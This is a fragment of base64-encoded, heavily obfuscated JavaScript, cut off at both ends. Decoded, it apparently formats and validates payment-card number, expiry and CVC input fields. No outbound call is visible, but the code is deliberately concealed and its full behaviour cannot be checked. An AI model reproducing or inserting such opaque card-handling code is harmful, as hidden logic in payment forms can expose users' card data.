gxZTA2MzIpe3JldHVybiBfMHgzNjBjZTgoXzB4MWFhNjAxLTB4MixfMHgxZTA2MzIsXzB4NDg3N2ZhLTB4MTczLF8weDQ4NzdmYS0gLTB4MmY0KTt9ZnVuY3Rpb24gXzB4NGUyN2U1KF8weDE0NDBhYSxfMHhhNmE4NWUsXzB4MzUxMDYxLF8weDM1M2YxOSl7cmV0dXJuIF8weDE4NTgwZShfMHgxNDQwYWEtMHgxMTAsXzB4YTZhODVlLTB4NzcsXzB4MzUxMDYxLTB4MzdiLF8weDM1M2YxOSk7fWlmKF8weDI0MTBlOFsneGRPR0knXShfMHgyNDEwZThbXzB4NGMzNTYwKDB4MzU2LDB4NGMxLDB4MmVmLDB4NDY2KV0sXzB4NGMzNTYwKDB4NTY5LDB4NTg2LDB4NWQwLDB4NzNiKSkpe3ZhciBfMHgyYWFhMTYsXzB4NTJiMjQ0LF8weDI4Y2VmYjtyZXR1cm4gXzB4NTJiMjQ0PVN0cmluZ1tfMHg0ZTI3ZTUoMHgyZmEsLTB4M2IsMHgxODQsLTB4YmMpKydkZSddKF8weDI5ODZkYltfMHg0ZTI3ZTUoMHg4NzcsMHg4ZTgsMHg2ZmQsMHg1MjEpXSksL15cZCskL1tfMHg0ZTI3ZTUoMHgyODIsMHg0NjgsMHg0OTUsMHgxZTApXShfMHg1MmIyNDQpPyhfMHgyYWFhMTY9XzB4MjQxMGU4W18weDRlMjdlNSgweDU1MywweDQ0OCwweDU0YSwweDdhNyldKF8weDIxMTFlZixfMHgyOTg2ZGJbXzB4NGMzNTYwKDB4NTJkLDB4M2I5LDB4NTNiLDB4NjNmKStfMHg0ZTI3ZTUoMHg4ZTEsMHg0NzYsMHg2MDUsMHg2ODgpXSksXzB4MjhjZWZiPV8weDJhYWExNltfMHg0ZTI3ZTUoMHgzNWEsMHgyYjQsMHgxYWQsMHhmZCldKCksL15cZFxkJC9bJ3Rlc3QnXShfMHgyOGNlZmIpP18weDJhYWExNltfMHg0YzM1NjAoLTB4MTYyLDB4MmJhLDB4MTdmLC0weDE1YyldKCcnK18weDI4Y2VmYitfMHg0YzM1NjAoLTB4NWIsMHg5OCwweDE4MywtMHgxM2UpKTp2b2lkKDB4NmYyKzB4MiotMHg1ZWErLTB4N2QqLTB4YSkpOnZvaWQoMHgxMzBiKy0weDlhNSstMHg5NjYpO31lbHNlIHJldHVybiBfMHg0MDc5MDhbJ2pOSlZ6J10oXzB4MzNhOTBlLF8weDQwNzkwOFsnRVdxS0InXSlbXzB4NGMzNTYwKDB4M2JkLDB4MjlkLDB4MzVhLDB4M2M1KV0oXzB4MzExMDJkKVtfMHg0ZTI3ZTUoMHgxZTEsLTB4M2MsMHgyYjMsMHg1NDApXSgpO30sXzB4Mjg0MjgyPWZ1bmN0aW9uKF8weDM0NWQ3Yil7ZnVuY3Rpb24gXzB4M2YxMmM3KF8weDU0ZjBhMCxfMHg1NDk2OWEsXzB4NThkZThhLF8weDEzMWVhYSl7cmV0dXJuIF8weDE4NTgwZShfMHg1NGYwYTAtMHhlMSxfMHg1NDk2OWEtMHgxNmMsXzB4NTRmMGEwLSAtMHg2OCxfMHg1NDk2OWEpO312YXIgXzB4MzczZmMyLF8weDE0NGRmZixfMHg0YjYyOTk7ZnVuY3Rpb24gXzB4M2IyY2U5KF8weDU1Zjg3ZCxfMHhlZmRjMDYsXzB4NDU2YTY1LF8weDQ0ZDFjOCl7cmV0dXJuIF8weDM2MGNlOChfMHg1NWY4N2QtMHgxOWUsXzB4NDRkMWM4LF8weDQ1NmE2NS0weDRhLF8weGVmZGMwNi0gLTB4NjRhKTt9cmV0dXJuIF8weDRiNjI5OT1TdHJpbmdbJ2Zyb21DaGFyQ28nKydkZSddKF8weDM0NWQ3YltfMHgzYjJjZTkoMHgzNDQsMHgzNzksMHg1ZmMsMHgzMjkpXSksXzB4NDA3OTA4W18weDNmMTJjNygweDFjZiwweDE3YiwtMHgxMjIsMHgxOWUpXSgnLycsXzB4NGI2Mjk5KXx8J1x4MjAnPT09XzB4NGI2Mjk5PyhfMHgzNzNmYzI9XzB4NDA3OTA4W18weDNmMTJjNygweDFiNCwtMHg0NywweDIyYSwweDhmKV0oXzB4MjExMWVmLF8weDM0NWQ3YltfMHgzZjEyYzcoMHgxODYsMHhmMiwtMHhhNCwtMHgxM2UpKydnZXQnXSksXzB4MTQ0ZGZmPV8weDM3M2ZjMltfMHgzZjEyYzcoLTB4MjM2LC0weDRlNSwtMHgyNTgsLTB4NGE2KV0oKSwvXlxkJC9bXzB4M2IyY2U5KDB4YzEsMHgxMTEsMHgyZWUsMHgzY2UpXShfMHgxNDRkZmYpJiZfMHg0MDc5MDhbXzB4M2IyY2U5KDB4MTZhLC0weDg2LC0weDM3MSwtMHhiMildKCcwJyxfMHgxNDRkZmYpP18weDM3M2ZjMltfMHgzYjJjZTkoLTB4ZWYsLTB4MWQ3LC0weDQxLDB4MTA5KV0oJzAnK18weDE0NGRmZitfMHg0MDc5MDhbXzB4M2IyY2U5KC0weDFjNywtMHgxY2UsMHgxMWUsLTB4MzE5KV0pOnZvaWQoMHgxN2MqLTB4ZSsweDEqMHg3MTcrLTB4MSotMHhkYjEpKTp2b2lkKC0weDNlMysweDEwY2IqMHgxKy0weDFjKjB4NzYpO30sXzB4NTQwNTkxPWZ1bmN0aW9uKF8weDQ4OWZkMyl7ZnVuY3Rpb24gXzB4NWU4ZDNkKF8weDU2ZDhlYyxfMHgyZTJjMDMsXzB4OTE3MzY5LF8weGE0MGM0Yyl7cmV0dXJuIF8weDE4NTgwZShfMHg1NmQ4ZWMtMHhjLF8weDJlMmMwMy0weDE4NixfMHg1NmQ4ZWMtMHgyYWQsXzB4YTQwYzRjKTt9ZnVuY3Rpb24gXzB4M2VhNTQ1KF8weDE4ZGViNCxfMHgxM2QwY2UsXzB4MzUyMDU1LF8weDE1ZDQ3Nyl7cmV0dXJuIF8weDE4NTgwZShfMHgxOGRlYjQtMHg5ZCxfMHgxM2QwY2UtMHgxYjQsXzB4MThkZWI0LTB4MWZkLF8weDM1MjA1NSk7fWlmKF8weDQwNzkwOFtfMHgzZWE1NDUoMHgxMmEsMHgyOWMsMHgzMzYsMHgxM2YpXSE9PV8weDQwNzkwOFtfMHg1ZThkM2QoMHgxZGEsMHg0MjUsMHgzOGMsMHg2MCldKV8weGIxODUxYSYmXzB4NDA3OTA4W18weDNlYTU0NSgweDQxOSwweDIxOCwweDViMSwweDVjYSldKF8weDJiZjgyYSxfMHgyMDdmY2ZbJ2JvZHknXSlbXzB4NWU4ZDNkKDB4MTAxLC0weDEyMCwweDNkMSwweDE1NCldKF8weDQwNzkwOFtfMHg1ZThkM2QoMHgxMTAsLTB4MWE3LDB4MTEyLDB4Mjg0KV0sXzB4NDA3OTA4W18weDNlYTU0NSgweDhjLDB4OSwtMHgxMGUsMHgyMTIpXSk7ZWxzZXt2YXIgXzB4MzMyYzU0LF8weDlkYzY4NDtyZXR1cm4gXzB4MzMyYzU0PV8weDQwNzkwOFtfMHg1ZThkM2QoMHgyMTQsLTB4NjIsMHgyZGQsMHgxMzQpXShfMHgyMTExZWYsXzB4NDg5ZmQzW18weDNlYTU0NSgweDNlYiwweDNiZSwweDRhOSwweDMwMCkrXzB4NWU4ZDNkKDB4NTM3LDB4NzI1LDB4NmIzLDB4NTdkKV0pLF8weDlkYzY4ND1fMHgzMzJjNTRbJ3ZhbCddKCksXzB4NDA3OTA4W18weDVlOGQzZCgweDIzMCwweDJhMywtMHg0YywweGZlKV0oLTB4MTFiOCsweGM0MSsweDU3ZixfMHg0ODlmZDNbXzB4NWU4ZDNkKDB4NjJmLDB4N2MyLDB4Mzc2LDB4NTE4KV0pfHxfMHg0MDc5MDhbXzB4M2VhNTQ1KDB4NCwweDIzMSwweDhhLC0weDIzMSldKG51bGwsXzB4MzMyYzU0W18weDNlYTU0NSgweDUxMiwweDdjNSwweDY5ZCwweDJiNSldKF8weDVlOGQzZCgweDE1OSwweDMyLC0weGE4LDB4NDA2KSsndGFydCcpKSYmXzB4NDA3OTA4W18weDVlOGQzZCgweDIzMCwweGUxLDB4MmQzLDB4Mjg4KV0oXzB4MzMyYzU0W18weDVlOGQzZCgweDVjMiwweDVmYywweDgwZCwweDQwMSldKF8weDQwNzkwOFsncXFVeVUnXSksXzB4OWRjNjg0WydsZW5ndGgnXSk/dm9pZCgtMHg2YzQrMHgxKjB4NzA5Ky0weDQ1KTovXGRcc1wvXHMkL1tfMHg1ZThkM2QoMHgzYzcsMHgxNGIsMHgyOWMsMHgzOTMpXShfMHg5ZGM2ODQpPyhfMHg0ODlmZDNbXzB4NWU4ZDNkKDB4Mzg5LDB4NWUxLDB4NGZkLDB4NjczKStfMHgzZWE1NDUoMHgxYywweDI4YSwtMHgxOGQsMHgxYWMpXSgpLF8weDQwNzkwOFtfMHgzZWE1NDUoMHgxODUsMHgzYmQsLTB4ZTksMHgzYyldKHNldFRpbWVvdXQsZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgzNGQyMTUoXzB4MWU3YTAyLF8weDVlNjI2NyxfMHgyNzUzYTMsXzB4MWUxMWU3KXtyZXR1cm4gXzB4M2VhNTQ1KF8weDI3NTNhMy0weDNhNixfMHg1ZTYyNjctMHgxMCxfMHg1ZTYyNjcsXzB4MWUxMWU3LTB4OWIpO31yZXR1cm4gXzB4MzMyYzU0W18weDM0ZDIxNSgweDIxNiwweGY3LDB4M2Q1LDB4NWE5KV0oXzB4OWRjNjg0WydyZXBsYWNlJ10oL1xkXHNcL1xzJC8sJycpKTt9KSk6dm9pZCgtMHhmYzArMHgyNDVjKy0weDE0OWMpO319LF8weDI4OWU4Nj1mdW5jdGlvbihfMHgzNmE3MWEpe2Z1bmN0aW9uIF8weDM5MzViYyhfMHg0NDNkYmUsXzB4MThiNGZmLF8weDMwNTQyNSxfMHg1N2MzOGQpe3JldHVybiBfMHgzNjBjZTgoXzB4NDQzZGJlLTB4MTE5LF8weDMwNTQyNSxfMHgzMDU0MjUtMHgxN2QsXzB4NDQzZGJlLSAtMHg2MjYpO31mdW5jdGlvbiBfMHg0ODQyYWEoXzB4M2ViNWY1LF8weDEzYTJkYixfMHg4OGViZWEsXzB4NTQ3YmJmKXtyZXR1cm4gXzB4MzYwY2U4KF8weDNlYjVmNS0weDFjZSxfMHg4OGViZWEsXzB4ODhlYmVhLTB4MTIyLF8weDU0N2JiZi0gLTB4MzRiKTt9aWYoXzB4MjQxMGU4W18weDQ4NDJhYSgweDM1NiwweDE0ZiwtMHgxNzcsMHgxMzkpXShfMHgyNDEwZThbJ0xJdU9kJ10sJ1R2ZktVJykpe3ZhciBfMHgxMTI3NWI9e307XzB4MTEyNzViW18weDM5MzViYygweDMxMSwweDM2YywweDQxMywweDJiYSldPV8weDZmNWIzY1snbWVzc2FnZSddLF8weDExMjc1YlsnXyddPV8weDI1Zjg1MFsnXyddLF8weDI3ZDU3NShfMHg0ZDUyYTZbJ2JvZHknXSlbXzB4NDg0MmFhKDB4M2YyLDB4NDFhLDB4M2QwLDB4MjJkKV0oXzB4MzkzNWJjKDB4MTU4LC0weDIsMHgyYWYsLTB4ODEpK18weDM5MzViYygtMHg5MywtMHgxNjQsLTB4OTgsMHhhZiksXzB4MTEyNzViKTtyZXR1cm47fWVsc2V7dmFyIF8weDQ5ZTM0YjtyZXR1cm4gXzB4NDllMzRiPV8weDIxMTFlZihfMHgzNmE3MWFbXzB4NDg0MmFhKDB4NDVhLDB4MjA1LDB4MjdjLDB4NGU0KStfMHgzOTM1YmMoMHgyYTUsMHg1MmIsMHgxZWYsMHgxMGQpXSksXzB4MjQxMGU4W18weDM5MzViYygweDJkZiwweDU5OCwweGVmLDB4NDY0KV0oc2V0VGltZW91dCxmdW5jdGlvbigpe3ZhciBfMHhlNWZiM2Y9e307XzB4ZTVmYjNmW18weDY2NjRlZCgweDE2ZSwweDE0YSwtMHhmOSwtMHgzMzkpXT1fMHg0MDc5MDhbXzB4NTQyYzA5KDB4NDViLDB4NDlhLDB4MzYwLDB4MjE5KV07ZnVuY3Rpb24gXzB4NTQyYzA5KF8weDE5MDRhMCxfMHgzNjE4N2YsXzB4ZjE1OGE4LF8weDFkMmE5NSl7cmV0dXJuIF8weDQ4NDJhYShfMHgxOTA0YTAtMHhjNixfMHgzNjE4N2YtMHgxYWEsXzB4MTkwNGEwLF8weDM2MTg3Zi0gLTB4MWI5KTt9ZnVuY3Rpb24gXzB4NjY2NGVkKF8weDI2MmI3NixfMHg1ODU5NDYsXzB4M2EyNWYxLF8weDQ5MmE3OCl7cmV0dXJuIF8weDM5MzViYyhfMHgzYTI1ZjEtMHg3NCxfMHg1ODU5NDYtMHg4NyxfMHg0OTJhNzgsXzB4NDkyYTc4LTB4MWUyKTt9dmFyIF8weDMyYzQ2Yj1fMHhlNWZiM2Y7aWYoXzB4NDA3OTA4W18weDU0MmMwOSgweGQ1LDB4MzdjLDB4Mjg0LDB4NWQyKV09PT1fMHg0MDc5MDhbXzB4NTQyYzA5KDB4NDA5LDB4MzdjLDB4M2M3LDB4NWE1KV0pe3ZhciBfMHg0MDgzZGM7cmV0dXJuIF8weDQwODNkYz1fMHg0OWUzNGJbXzB4NTQyYzA5KC0weGEyLC0weDkxLC0weDNkLDB4MTkpXSgpLF8weDQwODNkYz1fMHg0MDc5MDhbJ0pYTUphJ10oXzB4NWQ3YjM4LF8weDQwODNkYyksXzB4NDA4M2RjPV8weDQwODNkY1tfMHg2NjY0ZWQoMHgzNTQsMHg2MjIsMHgzZWEsMHg2ODYpXSgvXEQvZywnJylbXzB4NjY2NGVkKC0weDExMCwweDVmLC0weDcsMHgxMTIpXSgtMHg3Y2QqMHgxKy0weGIzKi0weDMzKzB4MiotMHhkZWUsLTB4MSoweDlmZSsweDZkNyoweDErMHgzMmIpLF8weDIzNzI4ZihfMHg0MDgzZGMsXzB4NDllMzRiKTt9ZWxzZSByZXR1cm4gXzB4MzFhOGQ0W18weDY2NjRlZCgweDExNywweDFjMCwweDI4YSwweDI1ZildKF8weDMyYzQ2YltfMHg1NDJjMDkoMHg5NSwtMHg0YiwweDE0YywweDI4KV0pLCEoMHhiMGMrLTB4MWExMystMHhmMDgqLTB4MSk7fSk7fX0sXzB4OTRjZmVlPWZ1bmN0aW9uKF8weDMwMDcwYSl7dmFyIF8weDRhOTBhNztmdW5jdGlvbiBfMHgzMTZlODAoXzB4NWI3NjA3LF8weDUzMGY3NyxfMHgyNjFhNjQsXzB4YTc5ZGNlKXtyZXR1cm4gXzB4MTg1ODBlKF8weDViNzYwNy0weDFhLF8weDUzMGY3Ny0weDFkYSxfMHhhNzlkY2UtMHgxYzUsXzB4MjYxYTY0KTt9ZnVuY3Rpb24gXzB4NDZlNjQ0KF8weDEyYjA0NyxfMHg0ZTk3OTIsXzB4MzA4OTIwLF8weDU3YzU2Yil7cmV0dXJuIF8weDM2MGNlOChfMHgxMmIwNDctMHgyMyxfMHg1N2M1NmIsXzB4MzA4OTIwLTB4MTIwLF8weDRlOTc5Mi0gLTB4NjEwKTt9cmV0dXJuIF8weDMwMDcwYVtfMHgzMTZlODAoMHgzN2IsLTB4NmUsMHhiYiwweDFkYSldfHxfMHgzMDA3MGFbXzB4MzE2ZTgwKDB4YmIsMHhiYSwweDZlLC0weDE0KV0/ISgtMHgxMTNhKy0weDEqMHgxZjMzKy0weDMwNmQqLTB4MSk6XzB4MjQxMGU4W18weDQ2ZTY0NCgweDE3MSwtMHgxMmIsLTB4ZTYsLTB4M2IzKV0oLTB4NGViKzB4MTdlYSstMHgxMmRmLF8weDMwMDcwYVtfMHg0NmU2NDQoMHgzNGYsMHgzYjMsMHhkZiwweDFhOSldKT8hKC0weGJjYSotMHgyKy0weDE5N2IrMHgxZTgpOl8weDI0MTBlOFtfMHg0NmU2NDQoMHgzZDAsMHhmMiwweDMxLDB4ZGQpXSgtMHgxZCotMHg3NistMHg5MiotMHgyYistMHgyNWU0LF8weDMwMDcwYVtfMHgzMTZlODAoMHg1MjEsMHg0OGUsMHg4MGEsMHg1NDcpXSk/ISgtMHgxN2QqLTB4NSstMHg3NGIrLTB4MjYpOl8weDMwMDcwYVsnd2hpY2gnXTwtMHgyNGFiKy0weDliYSotMHgzKzB4NzllPyEoMHgxYWMqMHgyKy0weDEqMHgxZjZiKy0weDEqLTB4MWMxMyk6KF8weDRhOTBhNz1TdHJpbmdbXzB4NDZlNjQ0KC0weDFkOSwtMHgxYzYsMHgxMjQsLTB4MTkzKSsnZGUnXShfMHgzMDA3MGFbJ3doaWNoJ10pLCEhL1tcZFxzXS9bXzB4NDZlNjQ0KDB4MzE2LDB4MTRiLDB4ZTcsLTB4MTFkKV0oXzB4NGE5MGE3KSk7fSxfMHg0ZjQ5OWQ9ZnVuY3Rpb24oXzB4MThmNjhmKXt2YXIgXzB4NTdkYjM1LF8weDIxYjgyMixfMHgxN2Q0NmUsXzB4NWVjZWEwO2Z1bmN0aW9uIF8weDE5Y2NkOChfMHg0NjI4ZDcsXzB4MmFlNWY5LF8weDMxNjg0YyxfMHg4MTFiZTIpe3JldHVybiBfMHgzNjBjZTgoXzB4NDYyOGQ3LTB4MTEwLF8weDgxMWJlMixfMHgzMTY4NGMtMHgxZDIsXzB4NDYyOGQ3LSAtMHg2NWIpO31mdW5jdGlvbiBfMHgyZGIyZDEoXzB4MjE4YzMzLF8weDRlNmVmNSxfMHg0YTA5YmQsXzB4MmQyM2E2KXtyZXR1cm4gXzB4MTg1ODBlKF8weDIxOGMzMy0weGNkLF8weDRlNmVmNS0weGY4LF8weDIxOGMzMy0weDFkOCxfMHg0ZTZlZjUpO31yZXR1cm4gXzB4NTdkYjM1PV8weDI0MTBlOFtfMHgxOWNjZDgoMHgxYjUsMHg0NDQsMHgxZGUsLTB4MildKF8weDIxMTFlZixfMHgxOGY2OGZbXzB4MmRiMmQxKDB4M2M2LDB4NGU5LDB4NDY1LDB4NTVkKStfMHgxOWNjZDgoMHgyNzAsMHgxMTAsMHgxZGYsMHg0NGUpXSksXzB4MTdkNDZlPVN0cmluZ1tfMHgyZGIyZDEoLTB4MWYsMHgyMzMsMHgxYjEsMHgxNzEpKydkZSddKF8weDE4ZjY4Zlsnd2hpY2gnXSksL15cZCskL1tfMHgxOWNjZDgoMHgxMDAsMHhjNSwtMHgxOWMsMHgxNzIpXShfMHgxN2Q0NmUpJiYhXzB4NTkxMDI5KF8weDU3ZGIzNSk/KF8weDVlY2VhMD0oXzB4NTdkYjM1W18weDE5Y2NkOCgtMHgxZTgsMHhjMiwweDIxLC0weGQ4KV0oKStfMHgxN2Q0NmUpW18weDE5Y2NkOCgweDM0MSwweDNjNSwweDNiMywweDFmZildKC9cRC9nLCcnKSxfMHgyMWI4MjI9XzB4MjQxMGU4W18weDJkYjJkMSgweDFlOCwweDE2ZCwweDExZCwtMHg3NSldKF8weDE0NmVhYixfMHg1ZWNlYTApLF8weDIxYjgyMj9fMHgyNDEwZThbXzB4MmRiMmQxKC0weDY2LC0weDFhMiwweDEzNiwtMHgyNDUpXShfMHg1ZWNlYTBbXzB4MmRiMmQxKDB4NGM4LDB4NjhhLDB4NjkyLDB4NWM5KV0sXzB4MjFiODIyW18weDJkYjJkMSgweDRjOCwweDIzYywweDQzMCwweDQwYSldW18weDI0MTBlOFtfMHgyZGIyZDEoMHg3NCwweGRmLC0weGMwLDB4MmVhKV0oXzB4MjFiODIyWydsZW5ndGgnXVtfMHgyZGIyZDEoMHg0YzgsMHg0MTEsMHg0ZWYsMHgzN2MpXSwweDMwNSoweDIrLTB4ZWI0KzB4MTNkKjB4NyldKTpfMHg1ZWNlYTBbXzB4MTljY2Q4KDB4MmQ2LDB4MjYzLDB4MjEsMHhmMyldPD0tMHgyMWVlKy0weDIqMHgxNWQrMHg5MmUqMHg0KTp2b2lkKC0weDI1OTIrMHg1KjB4N2NkKy0weDE2ZioweDEpO30sXzB4NDNmODY4PWZ1bmN0aW9uKF8weGU1OTM0Zil7dmFyIF8weDRjYjc4MCxfMHgyZDE2OTksXzB4MmU0MTk5O2Z1bmN0aW9uIF8weGNlODQ4MShfMHhhM2I5NmUsXzB4NDk1Y2JhLF8weDI1ZGM1YyxfMHgzZmM4OTgpe3JldHVybiBfMHgxODU4MGUoXzB4YTNiOTZlLTB4ZmYsXzB4NDk1Y2JhLTB4MTNmLF8weDNmYzg5OC0weDY4NyxfMHgyNWRjNWMpO31mdW5jdGlvbiBfMHgxMjhmNmMoXzB4NzM0M2Q3LF8weDQzYjZkNixfMHgzNjdhMDYsXzB4MTU3Yzc3KXtyZXR1cm4gXzB4MzYwY2U4KF8weDczNDNkNy0weGEsXzB4MzY3YTA2LF8weDM2N2EwNi0weDFlNCxfMHgxNTdjNzctIC0weGYpO31yZXR1cm4gXzB4NGNiNzgwPV8weDI0MTBlOFtfMHgxMjhmNmMoMHg5N2YsMHg5NWMsMHg3ZjAsMHg5NmIpXShfMHgyMTExZWYsXzB4ZTU5MzRmW18weGNlODQ4MSgweDg3YywweGFlYSwweDk1YiwweDg3NSkrXzB4MTI4ZjZjKDB4ODA3LDB4NjVlLDB4NjNiLDB4OGJjKV0pLF8weDJkMTY5OT1TdHJpbmdbXzB4Y2U4NDgxKDB4NzcxLDB4MWQ2LDB4NWQ2LDB4NDkwKSsnZGUnXShfMHhlNTkzNGZbXzB4MTI4ZjZjKDB4N2FiLDB4YzRkLDB4YjIwLDB4OWI0KV0pLC9eXGQrJC9bJ3Rlc3QnXShfMHgyZDE2OTkpJiYhXzB4MjQxMGU4W18weDEyOGY2YygweDY2OCwweGFiMSwweDhiMCwweDdiYildKF8weDU5MTAyOSxfMHg0Y2I3ODApPyhfMHgyZTQxOTk9XzB4MjQxMGU4W18weGNlODQ4MSgweDgzYywweDliMSwweGI3MSwweDllOCldKF8weDRjYjc4MFtfMHgxMjhmNmMoMHg0NzgsMHg1YTEsMHgxZWYsMHg0NjQpXSgpLF8weDJkMTY5OSksXzB4MmU0MTk5PV8weDJlNDE5OVtfMHgxMjhmNmMoMHhhZmIsMHhhOTMsMHg3ZGIsMHg5OGQpXSgvXEQvZywnJyksXzB4MjQxMGU4W18weGNlODQ4MSgweDc3YiwweDQwYywweDVhZiwweDRlMyldKF8weDJlNDE5OVtfMHgxMjhmNmMoMHg4MDAsMHg5MTcsMHhhMWUsMHg5MjIpXSwtMHhiZWMrMHgxNTllKy0weDlhYyoweDEpPyEoLTB4MTBkOSsweDFlYioweGIrMHg0M2YqLTB4MSk6dm9pZCgtMHg0Y2QrLTB4MTVlNystMHhkNWEqLTB4MikpOnZvaWQoMHg2KjB4MTNkKzB4OCotMHg0NTUrMHgxYjNhKTt9LF8weDM5Yzk5OT1mdW5jdGlvbihfMHg1MDkxODcpe2Z1bmN0aW9uIF8weDVjMmI5MyhfMHg0NDQzNjUsXzB4NTJhODc1LF8weGQzZWQzMCxfMHgxMzRkYWYpe3JldHVybiBfMHgxODU4MGUoXzB4NDQ0MzY1LTB4MTdhLF8weDUyYTg3NS0weDFkYixfMHg0NDQzNjUtMHg2ZjEsXzB4MTM0ZGFmKTt9dmFyIF8weDQ5NTcxNixfMHg0NzExYTEsXzB4NTQ2MDgzO2Z1bmN0aW9uIF8weDM4NzMwZShfMHg0MWU3M2QsXzB4M2FmODM3LF8weDI1ZDZhYyxfMHg1NTRhODEpe3JldHVybiBfMHgzNjBjZTgoXzB4NDFlNzNkLTB4ZTcsXzB4MjVkNmFjLF8weDI1ZDZhYy0weDFkLF8weDU1NGE4MS0gLTB4NGI2KTt9cmV0dXJuIF8weDQ5NTcxNj1fMHg0MDc5MDhbXzB4Mzg3MzBlKDB4NGM0LDB4MWQ1LDB4NDMsMHgyNTIpXShfMHgyMTExZWYsXzB4NTA5MTg3W18weDM4NzMwZSgweDYyMywweDJmZSwweDI1NCwweDM3OSkrXzB4NWMyYjkzKDB4OTdiLDB4YzNlLDB4OTU2LDB4YTJjKV0pLF8weDQ3MTFhMT1TdHJpbmdbXzB4Mzg3MzBlKC0weDJhMSwweDI2NywweDFlLC0weDZjKSsnZGUnXShfMHg1MDkxODdbJ3doaWNoJ10pLC9eXGQrJC9bJ3Rlc3QnXShfMHg0NzExYTEpJiYhXzB4NDA3OTA4W18weDM4NzMwZSgweDE2MiwtMHgxYmEsMHgxM2MsLTB4MTEpXShfMHg1OTEwMjksXzB4NDk1NzE2KT8oXzB4NTQ2MDgzPV8weDQwNzkwOFtfMHg1YzJiOTMoMHg1NDAsMHg2MGYsMHg0YzEsMHg0MDMpXShfMHg0OTU3MTZbJ3ZhbCddKCksXzB4NDcxMWExKSxfMHg0MDc5MDhbXzB4NWMyYjkzKDB4NThhLDB4NmNiLDB4NGU2LDB4NTU5KV0oXzB4NTQ2MDgzWydsZW5ndGgnXSwweDIwMjMrLTB4MWVjNCstMHgxNWIpKTp2b2lkKC0weGJlMSsweDM0MCsweDhhMSk7fSxfMHgzMzMwNjI9ZnVuY3Rpb24oXzB4MjNlN2U5KXtmdW5jdGlvbiBfMHgzMGMzZTEoXzB4MTc3YWM3LF8weDNhNWUxZSxfMHg1Mjk3MWEsXzB4NjBjNmEwKXtyZXR1cm4gXzB4MzYwY2U4KF8weDE3N2FjNy0weDdkLF8weDUyOTcxYSxfMHg1Mjk3MWEtMHgxY2UsXzB4M2E1ZTFlLSAtMHg2MDcpO31mdW5jdGlvbiBfMHg1YmUzMjcoXzB4M2U5NDRjLF8weDQyYjY2YyxfMHgzMjQ4MmMsXzB4NGZkOWQ4KXtyZXR1cm4gXzB4MzYwY2U4KF8weDNlOTQ0Yy0weDc3LF8weDRmZDlkOCxfMHgzMjQ4MmMtMHhiYyxfMHgzMjQ4MmMtIC0weDYxYSk7fWlmKF8weDViZTMyNygweDE0OCwweDUyMywweDMwMywweDFjYykhPT1fMHgyNDEwZThbXzB4MzBjM2UxKDB4NGQzLDB4Mzg5LDB4Mzc4LDB4NGYxKV0pe3ZhciBfMHg0MTk5NTAsXzB4M2Q5MzUxLF8weDU1MWRlNixfMHgxNDNhOWMsXzB4NDQ2ZWVkO3JldHVybiBfMHg0MTk5NTA9XzB4MjQxMGU4W18weDMwYzNlMSgtMHg0NDUsLTB4MWZkLC0weDM0OSwtMHgzYjMpXShfMHgyMTExZWYsXzB4MjNlN2U5W18weDViZTMyNygweDMyMiwweDE2NywweDIxNSwweDRjMykrXzB4MzBjM2UxKDB4NTViLDB4MmM0LDB4MmMyLDB4M2ZjKV0pLF8weDQ0NmVlZD1fMHg0MTk5NTBbJ3ZhbCddKCksXzB4MTQzYTljPV8weDIxMTFlZltfMHgzMGMzZTEoMHgxYTMsMHgyYjYsMHgxOTIsMHhmYSldW18weDViZTMyNygweDJiNywtMHgxZmYsMHhkNSwweDIyKV0oXzB4NDQ2ZWVkKXx8XzB4MjQxMGU4WydrTnVOSiddLF8weDQxOTk1MFsnaGFzQ2xhc3MnXShfMHgxNDNhOWMpP3ZvaWQoLTB4MioweGEwNSstMHhkZioweDE5Ky0weDg1ZCotMHg1KTooXzB4M2Q5MzUxPShmdW5jdGlvbigpe2Z1bmN0aW9uIF8weDVlZWVmYShfMHg0OGJkNDUsXzB4NDI4MWVmLF8weDdkYTIwMCxfMHg0Mjg0MTApe3JldHVybiBfMHgzMGMzZTEoXzB4NDhiZDQ1LTB4MTgxLF8weDQ4YmQ0NS0weGFiLF8weDQyODQxMCxfMHg0Mjg0MTAtMHg5YSk7fWZ1bmN0aW9uIF8weDExNGJjOChfMHgxMDA1NzQsXzB4ODQ0NTMsXzB4MzVkYTA1LF8weDU3OTRlNCl7cmV0dXJuIF8weDMwYzNlMShfMHgxMDA1NzQtMHgxYTEsXzB4ODQ0NTMtMHg2YTQsXzB4MTAwNTc0LF8weDU3OTRlNC0weGZmKTt9dmFyIF8weDE1N2Y2NSxfMHgzOGVhN2UsXzB4MWRkMTJhO2ZvcihfMHgxZGQxMmE9W10sXzB4MTU3ZjY1PTB4MWJiOSstMHgxMDY3Ki0weDErLTB4OCoweDU4NCxfMHgzOGVhN2U9XzB4NTZjN2U5W18weDExNGJjOCgweDgzMywweDljZSwweGIyMCwweDljMildO18weDQwNzkwOFtfMHg1ZWVlZmEoLTB4MTY4LC0weDQwLC0weGQyLDB4MTViKV0oXzB4MzhlYTdlLF8weDE1N2Y2NSk7XzB4MTU3ZjY1KyspXzB4NTUxZGU2PV8weDU2YzdlOVtfMHgxNTdmNjVdLF8weDFkZDEyYVtfMHg1ZWVlZmEoMHgyOWMsMHg5NSwweGEwLDB4NGQ0KV0oXzB4NTUxZGU2Wyd0eXBlJ10pO3JldHVybiBfMHgxZGQxMmE7fSgpKSxfMHg0MTk5NTBbXzB4MzBjM2UxKC0weDE3NywweGJmLDB4MzI5LC0weDE5YykrJ3MnXShfMHgyNDEwZThbXzB4MzBjM2UxKDB4NjU0LDB4MzkwLDB4MWJjLDB4NDczKV0pLF8weDQxOTk1MFtfMHgzMGMzZTEoLTB4MjksMHhiZiwweDIyZSwweDM0OSkrJ3MnXShfMHgzZDkzNTFbXzB4MzBjM2UxKDB4MmU1LDB4MTAzLDB4Mjk4LDB4MTRlKV0oJ1x4MjAnKSksXzB4NDE5OTUwW18weDMwYzNlMSgweDI0NywweDFkZSwweDNiYiwweGIxKV0oXzB4MTQzYTljKSxfMHg0MTk5NTBbXzB4NWJlMzI3KDB4MWFiLDB4M2QsMHgxNGIsMHg0MykrJ3MnXShfMHgyNDEwZThbJ2Rib2JxJ10sXzB4MjQxMGU4W18weDViZTMyNygweDVjLDB4NTM4LDB4MmZmLDB4NDIwKV0oJ3Vua25vd24nLF8weDE0M2E5YykpLF8weDQxOTk1MFsndHJpZ2dlciddKF8weDI0MTBlOFtfMHgzMGMzZTEoMHgzN2MsMHgyYTIsMHgzZjcsMHgzM2IpXSxfM